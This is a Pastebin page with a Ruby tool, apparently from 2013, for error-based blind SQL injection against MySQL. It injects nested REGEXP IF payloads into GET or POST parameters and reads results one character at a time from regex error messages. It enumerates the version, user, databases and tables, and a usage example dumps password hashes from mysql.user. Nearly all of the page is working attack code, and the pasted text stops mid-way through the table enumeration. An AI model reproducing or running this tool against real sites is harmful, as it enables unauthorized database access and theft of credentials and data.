Advertisement
Guest User

HR's MySQL Regexp Conditional Error Based Blind Injector

a guest
Oct 1st, 2013
672
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 27.37 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. #
  3. # MySQL Regexp Conditional Error Based Blind Injector
  4. # By: Hood3dRob1n
  5. #
  6. # Enjoy Responsible :)
  7. #
  8.  
  9. ### PROXY SETTINGS ####
  10. $proxy=false          #
  11. $proxyip='127.0.0.1'  #
  12. $proxyport=8080       #
  13. $proxy_auth=false     #
  14. $proxy_user=''        #
  15. $proxy_pass=''        #
  16. #######################
  17.  
  18. ###### HTTP REQUEST #####
  19. $ref=false              #
  20. $referrer=''            #
  21. $user_agent=nil         #
  22. $cookiefile=''          #
  23. $headers_add=false      #
  24. $cookie_support=false   #
  25. $headers={'Foo'=>'Bar'} #
  26. #########################
  27.  
  28. ### HTTP AUTH ###
  29. $auth=false     #
  30. $auth_user=''   #
  31. $auth_pass=''   #
  32. #################
  33.  
  34. require 'cgi'
  35. require 'optparse'
  36. require 'colorize'
  37. require 'curb'
  38.  
  39. # Trap Interupts
  40. trap("SIGINT") {puts "\n\nWARNING! CTRL+C Detected, Shutting things down....."; exit 666;}
  41.  
  42. # 31337 Banner
  43. def banner
  44.   puts
  45.   puts "MySQL Regexp Conditional Error Based Injection"
  46.   puts "By: Hood3dRob1n"
  47. end
  48.  
  49. # Clear Terminal
  50. def cls
  51.   if RUBY_PLATFORM =~ /win32|win64|\.NET|windows|cygwin|mingw32/i
  52.     system('cls')
  53.   else
  54.     system('clear')
  55.   end
  56. end
  57.  
  58. # Find the parameters in URL provided
  59. # Returns a Hash{ 'param' => 'value' } or nil if no params found
  60. def find_parameters(paramaterstring)
  61.   parameters={}
  62.   if not paramaterstring =~ /.+=/
  63.     return nil
  64.   else
  65.     if paramaterstring =~ /.+=.+&.+/
  66.       foo = paramaterstring.split('&')
  67.       foo.each do |paramz|
  68.         parameters.store(paramz.split('=')[0], paramz.split('=')[1])
  69.       end
  70.       return parameters
  71.     elsif paramaterstring =~ /.+=.+;.+/
  72.       foo = paramaterstring.split(';')
  73.       foo.each do |paramz|
  74.         parameters.store(paramz.split('=')[0], paramz.split('=')[1])
  75.       end
  76.       return parameters
  77.     else
  78.       k = paramaterstring.split('=')[0]
  79.       v = paramaterstring.split('=')[1]
  80.       parameters.store(k, v)
  81.       return parameters
  82.     end
  83.   end
  84. end
  85.  
  86. # Add URL-Encoding to String Class
  87. class String
  88.   # URI Encode String
  89.   def urienc encoding=nil
  90.     begin
  91.       CGI::escape self
  92.     rescue ArgumentError => e
  93.       if e.to_s == 'invalid byte sequence in UTF-8'
  94.         encoding = 'binary' if encoding.nil?
  95.         CGI::escape self.force_encoding(encoding)
  96.       else
  97.         raise e
  98.       end
  99.     end
  100.   end
  101.  
  102.   # Convert String to HEX Value with '0x' prefix for mysql friendliness
  103.   def mysqlhex
  104.     foo='0x'
  105.     foo += self.each_byte.map { |b| b.to_s(16) }.join
  106.     return foo
  107.   end
  108.  
  109.   # HEX Decoding of mysql hex '0x'
  110.   def mysqlhexdecode
  111.     self.sub('0x','').scan(/../).map { |x| x.hex.chr }.join
  112.   end
  113. end
  114.  
  115. # Curb Wrapper Class for HTTP Request Handling
  116. # Makes it a touch easier
  117. class EasyCurb
  118.   # Curl::Multi Request Option
  119.   # Returns a Hash { 'url link' => [single response array] }
  120.   def multi_get(arrayoflinks)
  121.     mresponses = {}
  122.     m = Curl::Multi.new
  123.     # add a few easy handles
  124.     arrayoflinks.each do |url|
  125.       mresponses[url] = simple(url)
  126.       m.add(mresponses[url])
  127.     end
  128.     begin
  129.       m.perform
  130.     rescue Curl::Err::ConnectionFailedError => e
  131.     puts "Redo - Problem with Network Connection => #{e}"
  132.     rescue Curl::Err::MalformedURLError => e
  133.     puts "Curl Failure => #{e}"
  134.     rescue Curl::Err::PartialFileError => e
  135.     puts "Curl Failure => #{e}"
  136.     rescue Curl::Err::GotNothingError => e
  137.     puts "Curl Failure => #{e}"
  138.     rescue Curl::Err::RecvError => e
  139.     puts "Curl Failure => #{e}"
  140.     rescue Curl::Err::HostResolutionError => e
  141.     puts "Problem resolving Host Details => #{e}"
  142.     end
  143.     # Return our Hash with URL as Key and Simple Response Array for Value
  144.     return mresponses
  145.   end
  146.  
  147.   def simple(link, postdata=nil)
  148.     agents = ['Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)',
  149.   'Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25',
  150.   'Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36',
  151.   'Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',
  152.   'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0',
  153.   'Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20121202 Firefox/17.0 Iceweasel/17.0.1',
  154.   'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
  155.   'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)',
  156.   'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)',
  157.   'Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)',
  158.   'Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00' ]
  159.  
  160.     @ch = Curl::Easy.new(link) do |curl|
  161.       # Set Proxy Connection Details if needed
  162.       if $proxy
  163.         curl.proxy_url = $proxyip
  164.         curl.proxy_port = $proxyport.to_i
  165.         if $proxy_auth
  166.           curl.proxypwd = "#{$proxy_user}:#{$proxy_pass}"
  167.         end
  168.       end
  169.  
  170.       # Set HTTP Authentication Details if needed
  171.       if $auth
  172.         curl.http_auth_types = :basic
  173.         curl.username = $auth_user
  174.         curl.password = $auth_pass
  175.       end
  176.  
  177.       # Add custom referrer if needed
  178.       if $ref
  179.         curl.headers['Referer'] = "#{$referrer}"
  180.       end
  181.  
  182.       # Add custom headers as needed
  183.       if $headers_add
  184.         $headers.each do |k, v|
  185.           curl.headers["#{k}"] = "#{v}"
  186.         end
  187.       end
  188.  
  189.       # Add custom cookies if needed
  190.       if $cookie_support
  191.         curl.cookies = $cookiefile
  192.       end
  193.  
  194.       # Set User-Agent to default or whatever was selected
  195.       if $user_agent.nil?
  196.         $user_agent = agents[rand(agents.size)]
  197.       end
  198.       curl.useragent = $user_agent
  199.  
  200.       # Setup Post Request If needed
  201.       begin
  202.         curl.http_post(link, "#{postdata}") if not postdata.nil?
  203.       rescue Curl::Err::ConnectionFailedError => e
  204.         puts "Redo - Problem with Network Connection => #{e}"
  205.       rescue Curl::Err::MalformedURLError => e
  206.         puts "Curl Failure => #{e}"
  207.       rescue Curl::Err::PartialFileError => e
  208.         puts "Curl Failure => #{e}"
  209.       rescue Curl::Err::RecvError => e
  210.         puts "Curl Failure => #{e}"
  211.       rescue Curl::Err::GotNothingError => e
  212.         puts "Curl Failure => #{e}"
  213.       rescue Curl::Err::HostResolutionError => e
  214.         puts "Problem resolving Host Details => #{e}"
  215.       end
  216.     end
  217.   end
  218.  
  219.   # Make GET requests to given link
  220.   # Returns an array filled with the following:
  221.   # response_body, response_code, repsonse_time, response_headers
  222.   def get(getlink)
  223.     simple(getlink)
  224.     begin
  225.       @ch.perform
  226.     rescue Curl::Err::ConnectionFailedError => e
  227.       puts "Redo - Problem with Network Connection => #{e}"
  228.     rescue Curl::Err::MalformedURLError => e
  229.       puts "Curl Failure => #{e}"
  230.     rescue Curl::Err::PartialFileError => e
  231.       puts "Curl Failure => #{e}"
  232.     rescue Curl::Err::RecvError => e
  233.       puts "Curl Failure => #{e}"
  234.     rescue Curl::Err::GotNothingError => e
  235.       puts "Curl Failure => #{e}"
  236.     rescue Curl::Err::HostResolutionError => e
  237.       puts "Problem resolving Host Details => #{e}"
  238.     end
  239.     return @ch.body_str, @ch.response_code, @ch.total_time, @ch.header_str
  240.   end
  241.  
  242.   # Make POST requests to given link and post data
  243.   # Returns an array filled with the following:
  244.   # response_body, response_code, repsonse_time, response_headers
  245.   def post(postlink, postdata)
  246.     simple(postlink, postdata)
  247.     return @ch.body_str, @ch.response_code, @ch.total_time, @ch.header_str
  248.   end
  249. end
  250.  
  251. # Confirm URL & Injection Marker are working and site is vuln
  252. # Returns True or False
  253. def regexp_vuln_test(link, postdata=nil)
  254.   sqli_true = "#{@prefix}aNd 1=(SELECT 1 REGEXP IF(1=1,1,''))#{@suffix}".urienc
  255.   sqli_false = "#{@prefix}aNd 1=(SELECT 1 REGEXP IF(1=2,1,''))#{@suffix}".urienc
  256.   if postdata.nil? or postdata == ''
  257.     # GET
  258.     if @paramk == '[INJECTME]'
  259.       t = link.sub('[INJECTME]', sqli_true)
  260.       f = link.sub('[INJECTME]', sqli_false)
  261.     else
  262.       t = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  263.       f = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_false}")
  264.     end
  265.     trez = @http.get(t)
  266.     frez = @http.get(f)
  267.   else
  268.     # POST
  269.     if @paramk == '[INJECTME]'
  270.       t = postdata.sub('[INJECTME]', sqli_true)
  271.       f = postdata.sub('[INJECTME]', sqli_false)
  272.     else
  273.       t = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_true}")
  274.       f = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{sqli_false}")
  275.     end
  276.     trez = @http.post(link, t)
  277.     frez = @http.post(link, f)
  278.   end
  279.   if trez[0] == frez[0]
  280.     return false
  281.   elsif frez[0] =~ /empty \(sub\)expression/ and not trez[0] =~ /empty \(sub\)expression/
  282.     return true
  283.   else
  284.     return false
  285.   end
  286. end
  287.  
  288. # We need to check if data exists before spinning our wheels
  289. # If there is data, the length will be greater than 0
  290. # Return True if data, False if not
  291. def data_exists(link, postdata=nil, query)
  292.   inj = "#{@prefix}and 1=(SELECT 1 REGEXP IF((select length( (#{query}) )>0),1,''))#{@suffix}".urienc
  293.   if postdata.nil? or postdata == ''
  294.     # GET
  295.     if @paramk == '[INJECTME]'
  296.       sqli = link.sub('[INJECTME]', inj)
  297.     else
  298.       sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  299.     end
  300.     rez = @http.get(sqli)
  301.   else
  302.     # POST
  303.     if @paramk == '[INJECTME]'
  304.       sqli = postdata.sub('[INJECTME]', inj)
  305.     else
  306.       sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj}")
  307.     end
  308.     rez = @http.post(link, sqli)
  309.   end
  310.   if rez[0] =~ /empty \(sub\)expression/
  311.     return false
  312.   else
  313.     return true
  314.   end
  315. end
  316.  
  317. # Find Length of Query & Dump Results
  318. # Run data_exists?(query) first!
  319. # Returns Results or nil
  320. def sql_inject(link, postdata=nil, query)
  321.   if not data_exists(link, postdata, query)
  322.     puts
  323.     puts "Doesn't appear any data exists!"
  324.     puts "Might be privleges or value is NULL, idk...."
  325.     puts "Double check manually to be 100% sure...."
  326.     puts
  327.     return nil
  328.   end
  329.   zcount=10
  330.   while(true)
  331.     inj = "#{@prefix}and 1=(SELECT 1 REGEXP IF((select length( (#{query}) )<#{zcount}),1,''))#{@suffix}".urienc
  332.  
  333.     if postdata.nil? or postdata == ''
  334.       # GET
  335.       if @paramk == '[INJECTME]'
  336.         sqli = link.sub('[INJECTME]', inj)
  337.       else
  338.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}" + inj)
  339.       end
  340.       rez = @http.get(sqli)
  341.     else
  342.       # POST
  343.       if @paramk == '[INJECTME]'
  344.         sqli = postdata.sub('[INJECTME]', inj)
  345.       else
  346.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}" + inj)
  347.       end
  348.       rez = @http.post(link, sqli)
  349.     end
  350.     if not rez[0] =~ /empty \(sub\)expression/
  351.       if zcount.to_i <= 10
  352.         starts = 0
  353.       elsif zcount.to_i > 10 and zcount.to_i < 100
  354.         starts = (zcount.to_i - 10)
  355.       elsif zcount.to_i > 100 and zcount.to_i < 1000
  356.         starts = (zcount.to_i - 50)
  357.       elsif zcount.to_i > 1000 and zcount.to_i < 100000
  358.         starts = (zcount.to_i - 100)
  359.       end
  360.       ends = zcount.to_i
  361.       break
  362.     else
  363.       if zcount.to_i < 100
  364.         zcount = zcount.to_i + 10
  365.       elsif zcount.to_i > 100 and zcount.to_i < 1000
  366.         zcount = zcount.to_i + 50
  367.       elsif zcount.to_i > 1000 and zcount.to_i < 1000000
  368.         zcount = zcount.to_i + 100
  369.       end
  370.       if zcount.to_i > 1000000
  371.         puts "Length > 1000000!"
  372.         puts "Too much to extract blind!"
  373.         return nil
  374.       end
  375.     end
  376.   end
  377.  
  378.   reallength=0
  379.   baselength=starts.to_i
  380.   while baselength.to_i < 1000000
  381.     inj = "#{@prefix}aNd 1=(SELECT 1 REGEXP "
  382.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i},'',"
  383.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 1},'(',"
  384.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 2},'[',"
  385.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 3},'\\\\\\\\',"
  386.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 4},'*',"
  387.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 5},'a{1,1,1}',"
  388.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 6},'[a-9]',"
  389.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 7},'a{1',"
  390.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 8},'[[.ab.]]',"
  391.     inj += "IF((SELECT length((#{query})))=#{baselength.to_i + 9},'[[:ab:]]',1)))))))))))#{@suffix}"
  392.  
  393.     if postdata.nil? or postdata == ''
  394.       # GET
  395.       if @paramk == '[INJECTME]'
  396.         sqli = link.sub('[INJECTME]', inj.urienc)
  397.       else
  398.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}" + inj.urienc)
  399.       end
  400.       rez = @http.get(sqli)
  401.     else
  402.       # POST
  403.       if @paramk == '[INJECTME]'
  404.         sqli = postdata.sub('[INJECTME]', inj.urienc)
  405.       else
  406.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}" + inj.urienc)
  407.       end
  408.       rez = @http.post(link, sqli)
  409.     end
  410.  
  411.     if rez[0] =~ /empty \(sub\)expression/
  412.       reallength = baselength.to_i
  413.       break
  414.     elsif rez[0] =~ /parentheses not balanced/
  415.       reallength = baselength.to_i + 1
  416.       break
  417.     elsif rez[0] =~ /brackets \(\[ \]\) not balanced/
  418.       reallength = baselength.to_i + 2
  419.       break
  420.     elsif rez[0] =~ /trailing backslash \(\\\)/
  421.       reallength = baselength.to_i + 3
  422.       break
  423.     elsif rez[0] =~ /repetition-operator operand invalid/
  424.       reallength = baselength.to_i + 4
  425.       break
  426.     elsif rez[0] =~ /invalid repetition count\(s\)/
  427.       reallength = baselength.to_i + 5
  428.       break
  429.     elsif rez[0] =~ /invalid character range/
  430.       reallength = baselength.to_i + 6
  431.       break
  432.     elsif rez[0] =~ /braces not balanced/
  433.       reallength = baselength.to_i + 7
  434.       break
  435.     elsif rez[0] =~ /invalid collating element/
  436.       reallength = baselength.to_i + 8
  437.       break
  438.     elsif rez[0] =~ /invalid character class/
  439.       reallength = baselength.to_i + 9
  440.       break
  441.     end
  442.     baselength = baselength.to_i + 10
  443.   end
  444.  
  445. #puts "Real: #{reallength}".light_green
  446. #puts "Base: #{baselength}".light_green
  447.  
  448.   # Now we go get the actual result!using length
  449.   char_position = 1
  450.   results = ''
  451.   while char_position.to_i < (reallength.to_i + 1)
  452.     # Determine ascii range of target char
  453.     inj = "#{@prefix}aNd 1=(SELECT 1 REGEXP "
  454.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<31,'', "
  455.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<52,'(', "
  456.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<73,'[', "
  457.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<94,'\\\\\\\\',"
  458.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<115,'*', "
  459.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<136,'a{1,1,1}', "
  460.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<157,'[a-9]', "
  461.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<178,'a{1', "
  462.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<199,'[[.ab.]]', "
  463.     inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))<230,'[[:ab:]]',1)))))))))))#{@suffix}"
  464.  
  465.     if postdata.nil? or postdata == ''
  466.       # GET
  467.       if @paramk == '[INJECTME]'
  468.         sqli = link.sub('[INJECTME]', inj.urienc)
  469.       else
  470.         sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj.urienc}")
  471.       end
  472.       rez = @http.get(sqli)
  473.     else
  474.       # POST
  475.       if @paramk == '[INJECTME]'
  476.         sqli = postdata.sub('[INJECTME]', inj.urienc)
  477.       else
  478.         sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj.urienc}")
  479.       end
  480.       rez = @http.post(link, sqli)
  481.     end
  482.  
  483.     if rez[0] =~ /empty \(sub\)expression/
  484.       starts=0
  485.       ends=30
  486.     elsif rez[0] =~ /parentheses not balanced/
  487.       starts=31
  488.       ends=51
  489.     elsif rez[0] =~ /brackets \(\[ \]\) not balanced/
  490.       starts=52
  491.       ends=72
  492.     elsif rez[0] =~ /trailing backslash \(\\\)/
  493.       starts=73
  494.       ends=93
  495.     elsif rez[0] =~ /repetition-operator operand invalid/
  496.       starts=94
  497.       ends=114
  498.     elsif rez[0] =~ /invalid repetition count\(s\)/
  499.       starts=115
  500.       ends=135
  501.     elsif rez[0] =~ /invalid character range/
  502.       starts=136
  503.       ends=156
  504.     elsif rez[0] =~ /braces not balanced/
  505.       starts=157
  506.       ends=177
  507.     elsif rez[0] =~ /invalid collating element/
  508.       starts=178
  509.       ends=198
  510.     elsif rez[0] =~ /invalid character class/
  511.       starts=199
  512.       ends=229
  513.     elsif rez[0] == @true
  514.       starts=230
  515.       ends=255
  516.     end
  517.  
  518. #puts "Starts: #{starts}".light_yellow
  519. #puts "Ends: #{ends}".light_yellow
  520.  
  521.     char=''
  522.     redo_count=1
  523.     ticker=starts.to_i
  524.     while(true)
  525.       # Determine actual ascii value for target char
  526.       # Thi should take no more than 4 requests :)
  527.       inj = "#{@prefix}aNd 1=(SELECT 1 REGEXP "
  528.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker},'', "
  529.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 1},'(', "
  530.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 2},'[', "
  531.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 3},'\\\\\\\\',"
  532.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 4},'*', "
  533.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 5},'a{1,1,1}', "
  534.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 6},'[a-9]', "
  535.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 7},'a{1', "
  536.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 8},'[[.ab.]]', "
  537.       inj += "IF(ASCII(SUBSTRING((#{query}),#{char_position},1))=#{ticker + 9},'[[:ab:]]',1)))))))))))#{@suffix}"
  538.  
  539.       if postdata.nil? or postdata == ''
  540.         # GET
  541.         if @paramk == '[INJECTME]'
  542.           sqli = link.sub('[INJECTME]', inj.urienc)
  543.         else
  544.           sqli = link.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj.urienc}")
  545.         end
  546.         rez = @http.get(sqli)
  547.       else
  548.         # POST
  549.         if @paramk == '[INJECTME]'
  550.           sqli = postdata.sub('[INJECTME]', inj.urienc)
  551.         else
  552.           sqli = postdata.sub("#{@paramk}=#{@paramv}", "#{@paramk}=#{@paramv}#{inj.urienc}")
  553.         end
  554.         rez = @http.post(link, sqli)
  555.       end
  556.  
  557.       if rez[0] =~ /empty \(sub\)expression/
  558.         char = ticker.to_i
  559.         break
  560.       elsif rez[0] =~ /parentheses not balanced/
  561.         char = (ticker.to_i + 1)
  562.         break
  563.       elsif rez[0] =~ /brackets \(\[ \]\) not balanced/
  564.         char = (ticker.to_i + 2)
  565.         break
  566.       elsif rez[0] =~ /trailing backslash \(\\\)/
  567.         char = (ticker.to_i + 3)
  568.         break
  569.       elsif rez[0] =~ /repetition-operator operand invalid/
  570.         char = (ticker.to_i + 4)
  571.         break
  572.       elsif rez[0] =~ /invalid repetition count\(s\)/
  573.         char = (ticker.to_i + 5)
  574.         break
  575.       elsif rez[0] =~ /invalid character range/
  576.         char = (ticker.to_i + 6)
  577.         break
  578.       elsif rez[0] =~ /braces not balanced/
  579.         char = (ticker.to_i + 7)
  580.         break
  581.       elsif rez[0] =~ /invalid collating element/
  582.         char = (ticker.to_i + 8)
  583.         break
  584.       elsif rez[0] =~ /invalid character class/
  585.         char = (ticker.to_i + 9)
  586.         break
  587.       end
  588.       if ticker.to_i > 260
  589.         ticker = 0 # Fall Back and Startover, something went wrong
  590.       else
  591.         ticker = ticker.to_i + 10
  592.       end
  593.     end
  594.  
  595. #puts "Ticker: #{ticker}".light_red
  596. #puts "Position: #{char_position}".light_red
  597. #puts "Char: #{char.chr}".light_red
  598.  
  599.     if char.nil? or char == ''
  600.       print "\r#{results}".cyan + "?".white
  601.     else
  602.       print "\r#{results}#{char.chr}".cyan
  603.       results += char.chr
  604.     end
  605.     char_position = char_position.to_i + 1
  606.   end
  607.   puts "\n"
  608.   if results.nil? or results == ''
  609.     return nil
  610.   else
  611.     return results
  612.   end
  613. end
  614.  
  615.  
  616.  
  617. # Main --
  618. options = {}
  619. optparse = OptionParser.new do |opts|
  620.   opts.banner = "Usage: #{$0} [OPTIONS]"
  621.   opts.separator ""
  622.   opts.separator "EX: #{$0} -u 'http://somesite.com/index.php?foo=vuln&bar=666' -p foo -b --dbs"
  623.   opts.separator "EX: #{$0} -u http://192.168.2.43/sqli-labs/Less-5/index.php?id=1 -p id -s \"' \" -e '-- -' -b --dbs --tables"
  624.   opts.separator "EX: #{$0} -u \"http://192.168.2.43/sqli-labs/Less-8/index.php?id=1')[INJECTME]\" -q \"SELECT concat(host,0x3a,user,0x3a,password) FROM mysql.user where file_priv='Y' limit 1,1\""
  625.   opts.separator ""
  626.   opts.separator "Options: "
  627.   opts.on('-u', '--url URL', "\n\tURL to Inject") do |target|
  628.     options[:target] = target.chomp
  629.   end
  630.   opts.on('-d', '--data DATA', "\n\tPost Request Data") do |data|
  631.     options[:post] = data.chomp
  632.   end
  633.   opts.on('-p', '--parameter PAR', "\n\tVulnerable Parameter to Inject") do |param|
  634.     options[:param] = param.chomp
  635.   end
  636.   opts.on('-s', '--start STRING', "\n\tInjection Prefix to Use (i.e. ' ,') ,\") ,etc) ") do |param|
  637.     options[:start] = param.chomp
  638.   end
  639.   opts.on('-e', '--end STRING', "\n\tInjection Ending or Delimeter to Use (i.e. --, #, -- -, /*, etc)") do |param|
  640.     options[:end] = param.chomp
  641.   end
  642.   opts.on('-b', '--basic', "\n\tEnumerate Basic Information") do |basic|
  643.     options[:basic] = true
  644.   end
  645.   opts.on('-y', '--dbs', "\n\tEnumerate Available Databases") do |dbs|
  646.     options[:dbs] = true
  647.   end
  648.   opts.on('-t', '--tables', "\n\tEnumerate Tables from Current Databases") do |tbl|
  649.     options[:tables] = true
  650.   end
  651.   opts.on('-q', '--query SQL', "\n\tSQL Query to Run") do |param|
  652.     options[:query] = param.chomp
  653.   end
  654.   opts.on('-h', '--help', "\n\tHelp Menu") do
  655.     cls
  656.     banner
  657.     puts
  658.     puts opts
  659.     puts
  660.     exit 69;
  661.   end
  662. end
  663. begin
  664.   foo = ARGV[0] || ARGV[0] = "-h"
  665.   optparse.parse!
  666.   if options[:param].nil?
  667.     if options[:target] =~ /\[INJECTME\]/i
  668.       options[:param] = '[INJECTME]'
  669.     end
  670.   end
  671.   mandatory = [:target,:param]
  672.   missing = mandatory.select{ |param| options[param].nil? }
  673.   if not missing.empty?
  674.     cls
  675.     banner
  676.     puts
  677.     puts "Missing options: #{missing.join(', ')}"
  678.     puts optparse
  679.     exit 666;
  680.   end
  681. rescue OptionParser::InvalidOption, OptionParser::MissingArgument
  682.   cls
  683.   banner
  684.   puts
  685.   puts $!.to_s
  686.   puts
  687.   puts optparse
  688.   puts
  689.   exit 666;  
  690. end
  691.  
  692. # Identify Parameter or Injection Marker
  693. # Helps with injection placements later
  694. if options[:param] == '[INJECTME]'
  695.   @paramk = options[:param]
  696.   @paramv = 'foofucked'
  697. else
  698.   if options[:post].nil?
  699.     paramaters = find_parameters(URI.parse(options[:target]).query)
  700.   else
  701.     paramaters = find_parameters(options[:post])
  702.   end
  703.   begin
  704.     paramaters.each do |key, value|
  705.       if options[:param] == key
  706.         @paramk = options[:param]
  707.         @paramv = value
  708.       end
  709.     end
  710.   rescue
  711.     puts "No Parameters Matched or Injection Marker Not Found!"
  712.   end
  713. end
  714.  
  715. # String Based Injections
  716. # or Breakouts add as prefix
  717. if options[:start].nil?
  718.   @prefix = ' '
  719. else
  720.   @prefix = options[:start]
  721. end
  722.  
  723. # This is our query delimeter
  724. if options[:end].nil?
  725.   @suffix = '-- -'
  726. else
  727.   @suffix = options[:end]
  728. end
  729.  
  730. # Create a re-usable handle for http requests
  731. @http=EasyCurb.new
  732.  
  733. # Now we go inject stuff :)
  734. if regexp_vuln_test(options[:target], options[:post])
  735.   puts "Appers to be vuln, starting injection now".light_green  + ".....".white
  736.   # Enumerate basic info
  737.   if options[:basic]
  738.     version = sql_inject(options[:target], options[:post], 'SELECT VERSION()')
  739.     user = sql_inject(options[:target], options[:post], 'SELECT USER()')
  740.     db = sql_inject(options[:target], options[:post], 'SELECT DATABASE()')
  741.  
  742.     puts "Basic Info".light_green + ": ".white
  743.     puts "Version".light_green + ": #{version}".white unless version.nil?
  744.     puts "User".light_green + ": #{user}".white unless user.nil?
  745.     puts "DB".light_green + ": #{db}".white unless db.nil?
  746.   end
  747.  
  748.   # Enumerate Available Databases
  749.   if options[:dbs]
  750.     v = sql_inject(options[:target], options[:post], 'MID((SELECT VERSION()),1,1)')
  751.     if v.to_i >= 5
  752.       dbz=[]
  753.       dbs_count = sql_inject(options[:target], options[:post], 'SELECT COUNT(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA')
  754.       puts "Fetching ".light_green + "#{dbs_count}".white + " Databases".light_green + "....".white unless dbs_count.nil?
  755.       if dbs_count.to_i > 0
  756.         0.upto(dbs_count.to_i - 1).each do |zcount|
  757.           results = sql_inject(options[:target], options[:post], "SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{zcount},1")
  758.           pad = ' ' * (results.size + 25) unless results.nil? or results == ''
  759.           pad = ' ' * 50 if results.nil? or results == ''
  760.           print "\r(#{zcount})> #{results}#{pad}".cyan unless results == ''
  761.           dbz << results unless results == ''
  762.         end
  763.         puts "\n"
  764.         if dbz.empty?
  765.           puts
  766.           puts "Unable to get any database names!"
  767.           puts "Lack of privileges?"
  768.           puts "Possible Solutions include:"
  769.           puts "A) Become HR's best friend by updating the code and sending him a copy"
  770.           puts "B) Tweak Settings and try things again"
  771.           puts "C) Be a bawz and do it manually"
  772.           puts
  773.         else   
  774.           puts "DBS".light_green + ": #{dbz.join(', ').sub(/, $/, '')}".white
  775.         end
  776.       else
  777.         puts "Unable to determine number of available database, sorry".light_red + "....".white
  778.       end
  779.     else
  780.       puts "MySQL Version < 5 - No Information Schema Available".light_red + "!".white
  781.     end
  782.   end
  783.  
  784.   # Get Tables from Current DB
  785.   if options[:tables]
  786.     v = sql_inject(options[:target], options[:post], 'MID((SELECT VERSION()),1,1)')
  787.     if v.to_i >= 5
  788.       tables=[]
  789.       tbl_count = sql_inject(options[:target], options[:post], 'SELECT COUNT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()')
  790.       if tbl_count.to_i > 0
  791.         puts "Fetching ".light_green + "#{tbl_count}".white + " Tables from Current DB".light_green unless tbl_count.nil?
  792.         0.upto(tbl_count.to_i - 1).each do |zcount|
  793.           results = sql_inject(options[:target], options[:post], "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() LIMIT #{zcount},1")
  794.           tables << results unless results == ''
  795.         end
